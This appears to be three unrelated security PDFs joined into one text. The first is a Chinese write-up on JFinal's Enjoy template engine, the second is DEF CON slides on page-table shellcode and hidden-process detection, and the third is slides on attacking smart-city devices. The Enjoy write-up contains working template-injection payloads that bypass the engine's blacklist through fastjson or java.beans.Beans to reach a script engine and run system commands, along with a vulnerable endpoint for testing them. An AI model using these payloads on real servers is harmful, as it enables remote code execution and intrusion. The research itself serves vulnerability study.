@Y4tacker Enjoy模板引擎分析前置⾸先有关Enjoy模板引擎的⼀些描述可以看这⾥：https://jfinal.com/doc/6-1 ⽂档中值得关注的点属性访问触发get⽅法在官⽅⽂档⾥⾯我们可以看到很多有趣的东西(当然我会更关注于⼀些相关的)，⽐如属性访问的这⼀条描述，可以让我们去触发对象的get⽅法(前提是public修饰) ⽅法调⽤由于模板引擎的属性取值表达式极为常⽤，所以对其在⽤户体验上进⾏了符合直觉的扩展，field 表达式取值优先次序，以 user.name 为例：如果 user.getName() 存在，则优先调⽤如果 user 具有 public 修饰过的name 属性，则取 user.name 属性值（注意：jfinal 4.0 之前这条规则的优先级最低）关于⽅法调⽤也有⼀些描述，说可以直接调⽤对象上的任何public⽅法，使⽤规则与java中调⽤⽅式保持⼀致，当然也不是所有⽅法都能调⽤，在源码的调试过程当中发现有⼀些⽅法在⿊名单当中除此以外也有⿊名单类 getClass wait notifyAll getClassLoader invoke notify getDeclaringClass removeForbiddenMethod removeForbiddenClass suspend resume loadLibrary forName newInstance exit halt stop java.lang.ThreadGroup java.lang.ProcessBuilder java.lang.System java.lang.ClassLoader java.lang.reflect.Proxy java.lang.Runtime java.lang.Thread java.lang.Class com.jfinal.template.expr.ast.MethodKit java.io.File java.lang.reflect.Method java.lang.InheritableThreadLocal java.lang.Process 因此也给了我们更多的限制静态属性访问来个例⼦就懂了静态⽅法的调⽤同时⽀持调⽤静态属性上的⽅法引擎执⾏流程简单分析 java.lang.ThreadLocal java.lang.Package java.lang.SecurityManager java.lang.Compiler java.lang.RuntimePermission #if(x.status == com.demo.common.model.Account::STATUS_LOCK_ID) <span>(账号已锁定)</span> #end #if(com.jfinal.kit.StrKit::isBlank(title)) .... #end (com.jfinal.MyKit::me).method(paras) 以下不感兴趣可以直接略过，因为不需要⼀些很详细的分析就能bypass，只要我们知道过滤了哪些类哪些⽅法针对绕过即可，这⾥权当⾃⼰好奇看看如何实现的，当然分析也只会主要去看⼀些能让我成功实现执⾏不安全函数的⽅式(指的是 #() 与 #set() 两种)，根据对⽂档的阅读，个⼈认为其他标签对于我意义不⼤，因为我如果能够执⾏⼀个命令我需要的是能够回显 # () ，或者我不能通过⼀步执⾏需要通过 #set(a=xxx) 的⽅式去拆分保存变量做中转，因此我在分析调试的过程当中只会针对这两个标签进⾏分析为了独⽴分析这⾥引⼊了maven坐标⼀个基本的使⽤很简单，为了⽅便调试我写了个很简单的类⾸先由于默认未开启缓存，默认⾛第⼀个分⽀ <dependency> <groupId>com.jfinal</groupId> <artifactId>enjoy</artifactId> <version>4.9.21</version> </dependency> package com.example.ezsb; public class User { public static void run(){ try{ Runtime.getRuntime().exec("open -na Calculator"); }catch (Exception e){ } } } Template template = engine.getTemplateByString("# (com.example.ezsb.User::run())"); template.renderToString(); 接下来我们看 com.jfinal.template.Engine#buildTemplateBySource ,同样我们只需要更关注于解析部分也就是 parser.parse() 接下来我们先跟⼀下这个遍历字符串解析token的过程，⾸先是初步解析操作与内容，⽐如 # (xxx) 他就会识别成 OUTPUT xxxx ) 三部分， #set("a=xxx") 也会拆分成 set a=xxx ) 三部分之后在statlist中，根据是 TEXT\SET\FOR\OUTPUT\INCLUDE\FOR\DEFINE\CALL..... 等去做更进⼀步的解析这⾥我们看看,⾸先当前位置⼀定是 # ，不然也没意义了，这⾥光看英⽂单词就知道我们更应该专注看 com.jfinal.template.stat.Lexer#scanDire 这⾥如果 # 后⾯是 ( 也就直接对应了 OUTPUT ，如果不是则判断后⾯如果是字母则转到state为 10的分⽀（PS：后⾯那个如果是@则调⽤模板函数防⽌你们好奇），并设置对应的token 接下来我们看看state为10的地⽅做的什么⾸先通过id去获取symbol 简单看看这⾥⼀些内置的东西，如果没有的话就会去看是不是⾛define或者else if分⽀，当然超纲了我上⾯说过的只看 #() 和 #set() ，这⾥就不深⼊谈了接下来看debug窗⼜就和我们上⾯说的⼀样设置了下⾯的toknelist的内容接下来我们继续看看 statList 函数(在上⼀步的基础上进⾏更进⼀步的解析)，这⾥不管是 OUTPUT 还是 SET 其实值得我们关注的核⼼调⽤是相同的，也就是 this.parseExprList(para) 跟进 parseExprList ，⼀直到 com.jfinal.template.expr.ExprParser#parse ，我们跟进这个scan 这⾥不再通篇像上⾯那样说如何解析的了，有兴趣可以⾃⼰看这⾥我们只看⼏个关键的，在scanOperator⾥⾯，⼀个是 :: 作为STATIC静态标记，另⼀个是左括号和又括号在最终做完这些处理后，tokenList成了这个样⼦接下来我们看看下⾯，⾸先initPeek会将peek设置为tokenList当中的第⼀个，之后默认会调⽤ exprList Expr parse(boolean isExprList) { this.tokenList = (new ExprLexer(this.paraToken, this.location)).scan(); if (this.tokenList.size() == 0) { return ExprList.NULL_EXPR_LIST; } else { this.tokenList.add(EOF); this.initPeek(); Expr expr = isExprList ? this.exprList() : this.forCtrl(); if (this.peek() != EOF) { throw new ParseException("Expression error: can not match \"" + this.peek().value() + "\"", this.location); } else { return (Expr)expr; } } } 在exprList,具体的过程也⽐较复杂这⾥放⼀个调⽤栈就好了，有兴趣可以⾃⼰跟⼀跟(它规定了以什么样的顺序去解析我们的表达式) ExprList exprList() { ArrayList exprList = new ArrayList(); while(true) { Expr expr = this.expr(); if (expr == null) { break; } exprList.add(expr); if (this.peek().sym != Sym.COMMA) { break; } this.move(); if (this.peek() == EOF) { throw new ParseException("Expression error: can not match the char of comma ','", this.location); } } return new ExprList(exprList); } staticMember:326, ExprParser (com.jfinal.template.expr) incDec:287, ExprParser (com.jfinal.template.expr) unary:279, ExprParser (com.jfinal.template.expr) nullSafe:253, ExprParser (com.jfinal.template.expr) mulDivMod:241, ExprParser (com.jfinal.template.expr) addSub:229, ExprParser (com.jfinal.template.expr) greaterLess:216, ExprParser (com.jfinal.template.expr) equalNotEqual:203, ExprParser (com.jfinal.template.expr) 最终在staticMember会返回⼀个实例化的staticMember对象 and:191, ExprParser (com.jfinal.template.expr) or:179, ExprParser (com.jfinal.template.expr) ternary:165, ExprParser (com.jfinal.template.expr) assign:158, ExprParser (com.jfinal.template.expr) expr:127, ExprParser (com.jfinal.template.expr) exprList:110, ExprParser (com.jfinal.template.expr) parse:97, ExprParser (com.jfinal.template.expr) parseExprList:76, ExprParser (com.jfinal.template.expr) parseExprList:269, Parser (com.jfinal.template.stat) stat:117, Parser (com.jfinal.template.stat) statList:87, Parser (com.jfinal.template.stat) parse:77, Parser (com.jfinal.template.stat) buildTemplateBySource:305, Engine (com.jfinal.template) getTemplateByString:242, Engine (com.jfinal.template) getTemplateByString:223, Engine (com.jfinal.template) main:50, Test (com.example.ezsb) 在初始化的时候还会检查类名与⽅法名是否在⿊名单当中，具体的在上⾯提到过就不贴了点我直达后⾯过程就省略了，已经到了我们想要的了，后⾯就是如何调⽤这个静态函数了，当然其实不⽌能调⽤静态⽅法，还可以直接调⽤实例对象的⽅法，但是也是有⿊名单拦截绕过Bypass 根据之前的调试我们知道，如果想要在模板⾥⾯执⾏函数有⼏个条件对于调⽤静态⽅法，只能调⽤公共静态⽅法(但不能⽤⿊名单当中的类以及⽅法) 对于实例对象的⽅法，只能调⽤public修饰的(但不能⽤⿊名单当中的类以及⽅法) 绕过第⼀个⽅式直接命令执⾏⽐较难，那么如果是第⼆种⽅式的话那我们肯定需要获取⼀个类的实例，那么有没有⼀个public类的静态⽅法能返回我们任意的实例呢，那就看看有没有办法能够返回⼀个类的实例呢？这样就可以 javax.script.ScriptEngineManager来执⾏任意Java代码 (这样也⽐较好绕过⿊名单了) ⾸先⽹上搜了搜jfinal的历史，发现可以通过fastjson去实例化⼀个类，同时可以开启autotype，构造payload长这样既然这样那有没有jre当中的类可以实现类似的效果呢？答案是有 Java⾃带类绕过我发现有⼀个类 java.beans.Beans 这个⽅法又臭又长，不过好在符合条件classLoader也不需要传，真舒服呀 #set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) #(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) #set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngi neManager"}')) #set(b=a.getEngineByName('js')) #set(payload=xxxxxx) #(b.eval(payload)) public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException { return Beans.instantiate(cls, beanName, null, null); } if (cls == null) { try { cls = ClassLoader.getSystemClassLoader(); } catch (SecurityException ex) { // We're not allowed to access the system class loader. // Drop through. } } 因此配合这个类顺⼿拿下模板SSTI 获取回显我们考虑两个场景，⼀个是直接执⾏，另⼀个return返回值写⼊内存马 #set((java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager ")).getEngineByExtension("js").eval("function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"open -na Calculator\")")) 既然能够执⾏任意代码了那肯定拿下内存马，这⾥启⼀个springboot环境测试，简单测试下直接回显很简单不需要讲了都，很常规payload @ResponseBody @RequestMapping("/") public String abc(@RequestParam("base") String base) { ProcessBuilder processBuilder = new ProcessBuilder(); Engine engine = Engine.use(); engine.setDevMode(true); engine.setToClassPathSourceFactory(); Template template = engine.getTemplateByString(base); String result = template.renderToString(); return result; } 测试下 base=# ((java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager")). getEngineByExtension("js").eval("var s = [3];s[0] = \"/bin/bash\";s[1] =\"-c\";s[2] = \"id\";var p =java.lang.Runtime.getRuntime().exec(s);var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\A\");var result = sc.hasNext() ? sc.next() : \"\";sc.close();result;"))	pdf
IOActive, Inc. Copyright ©2014. All Rights Reserved. Weird-Machine Motivated Practical Page Table Shellcode & Finding Out What's Running on Your System Shane Macaulay Director of Cloud Services IOActive, Inc. Copyright ©2014. All Rights Reserved. Killing the Rootkit! And how to find everything running on your system!!! • Rootkit/APT technique for hiding processes – Unlink kernel structures “DKOM” • New 64bit detection technique ! DC22 exclusive – System/Platform independent technique – Linux/BSD/Windows/ARM64/ADM64 • Works by analyzing physical memory & properties of MMU Virtual Memory system IOActive, Inc. Copyright ©2014. All Rights Reserved. The Long Road • Barnaby Jack, forever in our hearts and minds. “It’s about the journey not the destination.” IOActive, Inc. Copyright ©2014. All Rights Reserved. 13 Years since ADMMutate (slide URL) http://1drv.ms/1rEBMJF • ADMmutate (last DC talk was about polymorphic shellcode) • The more things change – The more they stay the same • Thought about PT shellcode with ADMMutate • Attack is [hard/stress/]fun!!&$&%:P;p;P • Defense is hard/stress IOActive, Inc. Copyright ©2014. All Rights Reserved. Abusing x for fun & profit! • It’s usually the QB that get’s the headlines, offensive bias in hacker scene! • Defense is grind’s it out for little glory. – Let’s energize the “D” here, have some fun!! • A Defensive exploit – Ultimately today were killing process hiding rootkits cross 64bit OS/Platforms TODAY! – DKOM IS DEAD! Process hiding is DEAD! IOActive, Inc. Copyright ©2014. All Rights Reserved. Also 13 Years ago • What else was going on back then? – x86 assembler in Bash “cLIeNUX” “shasm is an assembler written in GNU Bash Version 2, which may work in other recent unix-style "shell" command interpreters.” IOActive, Inc. Copyright ©2014. All Rights Reserved. Ideals • As best as possible, figure out all running code – Code/hacks/weird machine's included/considered – When have we done enough? • We focus on establishing our understanding through real world targets: Hypervisor monitored guests. • Combine protection pillars; structure analysis, physical memory traversal and integrity checking. IOActive, Inc. Copyright ©2014. All Rights Reserved. Practical concepts • Attacks: WeIrD MaChinE – Lots of fun! • Much esoteric/eclectic More fantastical!!! • Defense: Detecting That means everything – Home field == USE THE “FORCE” A HYPERVISOR! • Establishes verifiability of device state (i.e. not worried about platform attacks e.g. BIOS/firmware/UEFI) • Games in fault handler do not work on snapshot, even just extracting physical memory can be hard • Protection from virtualized (Dino Dai Zovi), that is serious/obvious impact to performance when nested. IOActive, Inc. Copyright ©2014. All Rights Reserved. Practical Page Table ShellCode Motivations • An attack devised to understand memory protection systems – Development necessitated comprehensive understanding of inner workings, system fault handling complexities and some of the lowest level (brain melting, see reference below) interaction of software and hardware on modern 64bit platforms. – Until Windows 7, page tables directly executable • NonExecutable is opt-in/non-default – The page-fault weird machine: lessons in instruction-less computation • Julian Bangert, Sergey Bratus, Rebecca Shapiro, Sean W. Smith from WOOT'13 Proceedings of the 7th USENIX conference on Offensive Technologies IOActive, Inc. Copyright ©2014. All Rights Reserved. X64 Kernel Virtual Address Space http://www.codemachine.com/article_x64kvas.html Start End Size Description Notes FFFF0800`00000000 FFFFF67F`FFFFFFFF 238TB Unused System Space WIN9600 NOW USE & CAN CONTAIN +X AREAS FFFFF680`00000000 FFFFF6FF`FFFFFFFF 512GB PTE Space -X used to be executable Win7 FFFFF700`00000000 FFFFF77F`FFFFFFFF 512GB HyperSpace 8.1 seems to have cleaned up here, 9200 had 1 +X page FFFFF780`00000000 FFFFF780`00000FFF 4K Shared System Page FFFFF780`00001000 FFFFF7FF`FFFFFFFF 512GB-4K System Cache Working Set FFFFF800`00000000 FFFFF87F`FFFFFFFF 512GB Initial Loader Mappings Large Page (2MB) allocations FFFFF880`00000000 FFFFF89F`FFFFFFFF 128GB Sys PTEs FFFFF8a0`00000000 FFFFF8bF`FFFFFFFF 128GB Paged Pool Area FFFFF900`00000000 FFFFF97F`FFFFFFFF 512GB Session Space FFFFF980`00000000 FFFFFa70`FFFFFFFF 1TB Dynamic Kernel VA Space FFFFFa80`00000000 nt!MmNonPagedPoolStart-1 6TB Max PFN Database nt!MmNonPagedPoolStart nt!MmNonPagedPoolEnd 512GB Max Non-Paged Pool DEFAULT NO EXECUTE FFFFFFFF`FFc00000 FFFFFFFF`FFFFFFFF 4MB HAL and Loader Mappings IOActive, Inc. Copyright ©2014. All Rights Reserved. Page Table ShellCode weird-machine • Win7- and earlier – Can we emit intended shellcode into PTE area? • Call VirtualAlloc() from user space results in executable memory in kernel – Just reserving memory causes a code-write operation into kernel space PXE at FFFFF6FB7DBEDF68 PPE at FFFFF6FB7DBEDF88 PDE at FFFFF6FB7DBF1008 PTE at FFFFF6FB7E201EA0 contains 0000000000187063 contains 0000000134C04863 contains 0000000100512863 contains 000000002DC3B863 pfn 187 ---DA--KWEV pfn 134c04 ---DA--KWEV pfn 100512 ---DA--KWEV pfn 2dc3b ---DA--KWEV IOActive, Inc. Copyright ©2014. All Rights Reserved. PT SC WM Died with Win8 (below) • This works earlier than Win7, interesting to examine fault handling, but ultimately Win8 this is dead! Child-SP RetAddr Call Site ffffd000`2b34ecf8 fffff800`16066ee1 nt!LOCK_WORKING_SET ffffd000`2b34ed00 fffff800`1603f5ad nt!MiSystemFault+0x911 ffffd000`2b34eda0 fffff800`1615af2f nt!MmAccessFault+0x7ed ffffd000`2b34eee0 fffff6fb`77fde37a nt!KiPageFault+0x12f ffffd000`2b34f078 fffff800`01e423fe 0xfffff6fb`77fde37a ffffd000`2b34f080 fffff800`163ae3e5 SIoctl!SioctlDeviceControl+0x27e ffffd000`2b34f9b0 fffff800`163aed7a nt!IopXxxControlFile+0x845 ffffd000`2b34fb60 fffff800`1615c4b3 nt!NtDeviceIoControlFile+0x56 ffffd000`2b34fbd0 00007ff9`c1b265ea nt!KiSystemServiceCopyEnd+0x13 0000003a`ba9bf8f8 00007ff9`bef92c83 ntdll!NtDeviceIoControlFile+0xa IOActive, Inc. Copyright ©2014. All Rights Reserved. What about new tool (wanted ptshellcode thingy)? • Was going to do a talk with an expansion of the PT shellcode concept – Was it going to be an ADMmutate update? .NET Compiler thingy some set of C macro’s or little script host RoP builder/engine/host? • Application of technique is mostly dead, requires an info leak(maybe) and what about use bash to write it? IOActive, Inc. Copyright ©2014. All Rights Reserved. Some peace of mind – really! • cross platform AMD64 process detection technique – obsoletes process hiding techniques used by all rootkits/malware! • Process hiding rootkits/malware technology being typical of APT • Detection can be used as an attack (defensive attack pattern) – Defensive Exploit against ALL ROOTKITS! IOActive, Inc. Copyright ©2014. All Rights Reserved. The big picture ProcDetect • Ultimately decided on a more advanced, and useful, tool for release today – Hear it for the D! • ProcDetect should be with DefCon materials – Signed code example for AMD64 Windows • Other platform/OS to follow IOActive, Inc. Copyright ©2014. All Rights Reserved. Attack v Defense • Defensive Window of opportunity – Closing the door/window today! • Defensive tactics can be new classes of defensive attack techniques – Offensive Forensics / Automation – Use the process detection here to post process and detect any/every hidden process ever spawned for all TIME! – Keep interesting/known memory dumps around Right now; there are no possible attacks against this technique (“WE FOUND YOU!”) IOActive, Inc. Copyright ©2014. All Rights Reserved. In Memory Process Detection • Dumping memory is a pain physically • Scanning VS. List traversal • Scanning – Can be very slow – Tends to be high assurance • Link/Pointer Traversal – Easily confused – Super Fast ! IOActive, Inc. Copyright ©2014. All Rights Reserved. What’s a Process? • A Process is an address space configuration – A container for threads which are executed on a CPU. – Threads share address space. – Hard to know if you have them all. – Can’t I inject a library/thread to an existing process? • Code overwrite or injection is an integrity issue – Hash Check IOActive, Inc. Copyright ©2014. All Rights Reserved. Process Detection • Volatility to the rescue! https://code.google.com/p/volatility/wiki/CommandRefer ence#psxview – It compares the following logical identifiers: • PsActiveProcessHead linked list • EPROCESS pool scanning • ETHREAD pool scanning (then it references the owning EPROCESS) • PspCidTable • Csrss.exe handle table • Csrss.exe internal linked list (unavailable Vista+) IOActive, Inc. Copyright ©2014. All Rights Reserved. Takahiro Haruyama -- April 2014, discuss his BH Europe 2012 talk with respect to Abort Factors. IOActive, Inc. Copyright ©2014. All Rights Reserved. 64bit Process Detection • Earlier presentation for kernel code – E.g. CSW14 Diff CPU Page table & Logical kernel objects (to detect hidden kernel modules, “rootkit revealer”) • Also uses page tables “Locating x86 paging structures in memory images” https://www.cs.umd.edu/~ksaur/saurgrizzard.pdf – Karla Saur, Julian B. Grizzard • New process detection technique is faster - single pass – Similar to “pmodump”, enhanced with 64bit & additional checks (64bit scan has much more verifiability) IOActive, Inc. Copyright ©2014. All Rights Reserved. 64bit Process Detection Integrity • Not easily attacked – Many modifications result in BSOD – Able to extract candidate memory for integrity checking of memory pages to fully qualify • Can make “non-abortable” if willing to do slower check • Current check is really good – Always room to grow with respect to countermeasures and performance IOActive, Inc. Copyright ©2014. All Rights Reserved. Physical/Virtual Memory 1 2 4 3 … 5 6 Page Frames 4k physical blocks A Page Frame Number (PFN) is the physical memory “address” 0 22000 40000 23000 … 41000 42000 Virtual Address/Pages Page protection is applied to virtual pages/address ranges IOActive, Inc. Copyright ©2014. All Rights Reserved. A quick indirection • Slides 37-39 from Dave Probert (Windows Kernel Architect, Microsoft) – Windows Kernel Architecture Internals • Next slide show’s a big hint, can you guess? It’s an example of process page table layout/configuration. – You have to love all of those arrow’s IOActive, Inc. Copyright ©2014. All Rights Reserved. IOActive, Inc. Copyright ©2014. All Rights Reserved. Self Map trick in Linux • Virtual Memory in the IA-64 Linux Kernel – Stephane Eranian and David Mosberger • 4.3.2 Virtually-mapped linear page tables “linear page tables are not very practical when implemented in physical memory” “The trick that makes this possible is to place a self-mapping entry in the global directory.” IOActive, Inc. Copyright ©2014. All Rights Reserved. Self Map process detection Windows AMD64 • Self Map exists for each process (not only kernel:) • Examining a page table - !process 0 0 dirbase/cr3 (e.g. 7820e000) !dq 7820e000 #7820e000 00800000`60917867 !dq 7820e000+0xf68 #7820ef68 80000000`7820e863 ^-- current PFN found --^ (PFN FTW) IOActive, Inc. Copyright ©2014. All Rights Reserved. PFN FTW Trick! (or Defensive exploit!!) #7820ef68 80000000`7820e863 ^----------^ 64Bit is a more powerful check Valid PFN will be bounded by system physical memory constraints IOActive, Inc. Copyright ©2014. All Rights Reserved. These ARE the bit’s your looking for… typedef struct _HARDWARE_PTE { ULONGLONG Valid : 1; Indicates hardware or software handling (mode 1&2) ULONGLONG Write : 1; ULONGLONG Owner : 1; ULONGLONG WriteThrough : 1; ULONGLONG CacheDisable : 1; ULONGLONG Accessed : 1; ULONGLONG Dirty : 1; ULONGLONG LargePage : 1; Mode2 ULONGLONG Global : 1; ULONGLONG CopyOnWrite : 1; ULONGLONG Prototype : 1; Mode2 ULONGLONG reserved0 : 1; ULONGLONG PageFrameNumber : 36; PFN, always incrementing (mode 1&2) ULONGLONG reserved1 : 4; ULONGLONG SoftwareWsIndex : 11; Mode2 ULONGLONG NoExecute : 1; } HARDWARE_PTE, PHARDWARE_PTE; IOActive, Inc. Copyright ©2014. All Rights Reserved. These are the OFFSETS your looking for. • 512 way Table (512 * 8 = 0x1000, a page) – PFN Offset 0 configured and valid bit – PFN Offset 0x1ed Point’s to self and valid bit • This allows us to identify current position • Mode2 has more checks for typical page table • Mode1 is for heightened assurance – Both work together to extract PFN & MEMORY_RUN gaps – http://blockwatch.ioactive.com/MProcDetect.cs IOActive, Inc. Copyright ©2014. All Rights Reserved. Self Map Detection Attacks • Attacks against performance – If we de-tune performance we can validate spoof entries and various malformed cases – Windows zero’s memory quickly (no exiting processes, so far:) • !ed [physical] can be done to assess evasive techniques – Simply destroying self map results in BSOD!! – Looking for feedback testing to identify better more comprehensive PTE flag checks (edge cases, missed tables or extra checks) IOActive, Inc. Copyright ©2014. All Rights Reserved. Implementation (basically in 1 line) IOActive, Inc. Copyright ©2014. All Rights Reserved. Example execution (.vmem starts @0 offset), .DMP (0x2000+) or other autodetect header offset IOActive, Inc. Copyright ©2014. All Rights Reserved. Detected Memory Runs • Round value by offset to find gap size, adjust to automate memory run detection – Takahiro Haruyama blog post on related issue (large memory) and also memory run detection issues from logical sources • previous slide, detecting gap, when offset changes; – ROUND_UP(0xb4b56000, 0x40000000) = first run end 0xc0000.. – ROUND_DOWN(0x1181f1000, 0x40000000) IOActive, Inc. Copyright ©2014. All Rights Reserved. Detect processes of guests from host dump • A host memory dump will include page tables for every guest VM process as well as host process entries – Lots of room to grow here, deep integration with HyperVisor page mapping data may be straight forward • E.g. parsing of MMInternal.h / MMPAGESUBPOOL in VirtualBox • Issues – Hypervisor may not wipe when moving an instance or after it’s been suspended (ghost processes) • I’d rather detect ghosts than fail • Nested paging not a problem IOActive, Inc. Copyright ©2014. All Rights Reserved. Skew is evident for guest instances. An typical kernel PFN is observed (scream 187 to a mo…) as the first (large jump 0x2..->0x4…) in a range of skewed diff values (another layer of decoding to adjust, similar to what happens when snapshot is requested and disk memory is serialized) Initial values reflective of host system, consistent Diff values Final host processes identifiable by Diff realignment IOActive, Inc. Copyright ©2014. All Rights Reserved. Future Weird Machine overload ? • Microsoft Research – Tracking Rootkit Footprints with a Practical Memory Analysis System -- Weidong Cui, Marcus Peinado, Zhilei Xu, Ellick Chan – “The goal of MAS is to identify all memory changes a rootkit makes…. MAS does so in three steps: static analysis, memory traversal and integrity checking” • Seems really hard problem (source code used in MAS), how can we verify this level of state? IOActive, Inc. Copyright ©2014. All Rights Reserved. Public symbols to the rescue’ish • Public symbols, RTTI or other type inference technique to find/root(tree/linked) all pointers – Thread stack return into verifiable code • Anti RoP Attack – Advanced methods kernel pool (does not require source) verification • Integrity Checking of Function Pointers in Kernel Pools via Virtual Machine Introspection – At least kernel alerts, logs and various tracing can be trusted if we have code integrity, process/thread detection. – Future is not too bad for Defense! IOActive, Inc. Copyright ©2014. All Rights Reserved. Summary • Attacks: WeIrD MaChInE – Worst case scenario most weird machine activity can hopefully be detected through simple tracing, logging and monitoring tools • What about the next GPU/UEFI backdoor? use a hypervisor guest to establish device/low layer trust capability • Defenses: Detecting hidden 64bit processes • Deep future holds deep verifiability for more devices (get free The Memory Cruncher™ TMC & BlockWatch ™ ) – Active Protection System (APS) • FINALLY DEFENSIVE FUN & PROFIT! With the D! IOActive, Inc. Copyright ©2014. All Rights Reserved. Summary • Always use a VM – At least simplify memory dumping • Use ProcDetect – Have fun detecting! – Process hiding rootkit is dead – 64bits helps peace of mind • We can detect a process anywhere (host, guest, nested, on the network (probably)! IOActive, Inc. Copyright ©2014. All Rights Reserved. Issues, Considerations Caveats • Use a hypervisor – secure the guest/host (very hardened host) – Hypervisor escape == you’re a high value to risk nice exploit • Probably NOT YOU! • BluePill type attacks, hopeful still to consider (but perf hit of nesting should be obvious) • SefMap Detection relies on page table. – Maybe “no paging process”– (same as x86 paging paper) – TSS considerations, monitor other tables with stacks? – Remote DMA? • Please no! IOActive, Inc. Copyright ©2014. All Rights Reserved. Attention Wikipedia editors DKOM “Not only is this very difficult to..” We have a high assurance capability, applicable cross 64bit platforms (linux/freebsd also arm64, etc…) , for process detection. Even though threads are distinct execution contexts, the property of shared MMU configuration establishes a verification capability that OS kernel object manipulation can not effect. IOActive, Inc. Copyright ©2014. All Rights Reserved. Thank you & Questions • I hope I referenced earlier works sufficiently, this topic is broad and expansive, thanks to the many security professionals who analyze memory, reverse-engineered, dove deep and discussed their understanding. • References, follow embedded links and their links	pdf
Outsmarting the Smart City DISCOVERING AND ATTACKING THE TECHNOLOGY THAT RUNS MODERN CITIES & 2 Page Researcher Bios • Daniel Crowley • Research Baron at IBM X-Force Red • Pen tester since 2004 • Locksport enthusiast and past competition winner • Actually holds the title of Baron (in Sealand) 3 Page Researcher Bios • Jennifer Savage • Security Researcher at Threatcare • Black Hat review board member • Experience includes: ̶ development ̶ vulnerability assessment ̶ vulnerability management ̶ penetration testing ̶ security research 4 Page Researcher Bios • Mauro Paredes • Managing Consultant at IBM X-Force Red • Passion for security flaws and their corrections • Formerly developer, net/server admin, security architect • Pen tester for many years • 20+ years infosec experience in multiple industries 5 Page What kind of tech makes a city “smart”? • Industrial Internet of Things • Urban Automation • Public Safety / Emergency Management • Intelligent Transportation Systems • Metropolitan Area Networks 6 Page Limited citizen privacy and risk management options • You don’t have to buy an Alexa • You can buy a non-smart TV • You can buy a feature phone (or forego a cell phone) • You can buy an ancient car • Can you move to a city that isn’t “smart”? 7 Page V2I, V2V, OBD-III and DSRC Connected vehicles communicate with each other, and with city infrastructure, as travel occurs. While DSRC allows unique identification, the proposed OBD-III standard is much more powerful. 8 Page Hangzhou “City Brain” “In China, people have less concern with privacy, which allows us to move faster” - Xian-Sheng Hua, manager of AI at Alibaba at World Summit AI in 2017 9 Page Smart streetlights with cameras GE’s Bill Ruh says it’s up to each city to set policies around the data collected by the sensors and how it can be used. 10 Page Facial recognition In 2017 the former head of Singapore’s civil service Peter Ong said Singapore wants to deploy facial recognition technology to all 110,000 lampposts in the country. 11 Page Dubai robotic police force “By 2030, we will have the first smart police station which won’t require human employees” - Brigadier Khalid Nasser Al Razouqi, Dubai Police’s general director of the Smart Services Department Reconnaissance 13 Page Traditional port scanning • IANA assigned ranges • masscan, unicornscan • Internet scan projects ̶ SHODAN ̶ Censys ̶ etc 14 Page Physical • Visual observation • Wireless recon ̶ WiFi ̶ 900mhz one-offs ̶ Zigbee ̶ LoRaWAN • Log off and go outside 15 Page Search engines • City contracts public by law ̶ Google: “purchase order” “smart device” site:gov • Available on the Internet • Customer case studies 16 Page Search engines 17 Page Open Source Application Development Portal (OSADP) Case Study: Austin, TX 19 Page From port scans 20 Page From Internet scan data 21 Page From physical recon 22 Page From physical recon 23 Page From Google dorking Devices and Vulnerabilities Echelon i.LON SmartServer and i.LON 600 26 Page i.LON: What it does • IP to ICS gateway ̶ LonTalk ̶ P-852 ̶ Modbus RTU ̶ Modbus / IP ̶ M-Bus ̶ SOAP/XML Web services ̶ BACnet / IP 27 Page Probably not OSHA-approved 28 Page i.LON SmartServer and i.LON 600 Default Web credentials Default FTP credentials Unauthenticated API calls (SmartServer only) Plaintext communications Authentication bypass Cleartext password file on FTP Replace binaries via FTP to execute code Fiddle with ICS gear Change IP address of i.LON Gain access Do bad things 29 Page Authentication Bypass 30 Page Authentication Bypass 31 Page Authentication Bypass • SmartServer vs 600 ̶ Security Access Mode 32 Page Leaked exploit from August 2015 Battelle V2I Hub 34 Page V2I Hub: What it does • Manages Vehicle to Infrastructure comms • Modular infrastructure • Mostly SPaT (signal phase and timing) related 35 Page V2I Hub v2.5.1 Hard-coded admin account Various API key issues XSS SQLi in API Missing authentication Track vehicles Send false safety messages Create traffic …or just power it down Gain access Do bad things 36 Page Unauthenticated shutdown script 37 Page API Authentication 38 Page PHP strcmp() weirdness 39 Page PHP strcmp() weirdness 40 Page PHP strcmp() weirdness 41 Page PHP strcmp() weirdness 42 Page PHP strcmp() weirdness 43 Page V2I Hub v3.0 SQL Injection Libelium Meshlium 45 Page Libelium Meshlium Missing authentication Shell command injection Create false sensor data Hide real sensor data Gain access Do bad things 46 Page Pre-auth shell command injection DEMONSTRATION Implications 49 Page Surveillance of connected vehicles 50 Page Traffic manipulation 51 Page Sabotage disaster warning systems 52 Page Sabotage of industrial equipment and gateway QUESTIONS? [email protected] – [email protected] – [email protected] ibm.com/security securityintelligence.com xforce.ibmcloud.com @ibmsecurity youtube/user/ibmsecuritysolutions © C o p y rig h t IB M C o rp o ra tio n 2 0 1 8 . A ll rig h ts re s e rv e d . T h e in fo rm a tio n c o n ta in e d in th e s e m a te ria ls is p ro v id e d fo r in fo rm a tio n a l p u rp o s e s o n ly , a n d is p ro v id e d A S IS w ith o u t w a rra n ty o f a n y k in d , e x p re s s o r im p lie d . A n y s ta te m e n t o f d ire c tio n re p re s e n ts IB M 's c u rre n t in te n t, is s u b je c t to c h a n g e o r w ith d ra w a l, a n d re p re s e n t o n ly g o a ls a n d o b je c tiv e s . IB M , th e IB M lo g o , a n d o th e r IB M p ro d u c ts a n d s e rv ic e s a re tra d e m a rk s o f th e In te rn a tio n a l B u s in e s s M a c h in e s C o rp o ra tio n , in th e U n ite d S ta te s , o th e r c o u n trie s o r b o th . O th e r c o m p a n y , p ro d u c t, o r s e rv ic e n a m e s m a y b e tra d e m a rk s o r s e rv ic e m a rk s o f o th e rs . S ta te m e n t o f G o o d S e c u rity P ra c tic e s : IT s y s te m s e c u rity in v o lv e s p ro te c tin g s y s te m s a n d in fo rm a tio n th ro u g h p re v e n tio n , d e te c tio n a n d re s p o n s e to im p ro p e r a c c e s s fro m w ith in a n d o u ts id e y o u r e n te rp ris e . Im p ro p e r a c c e 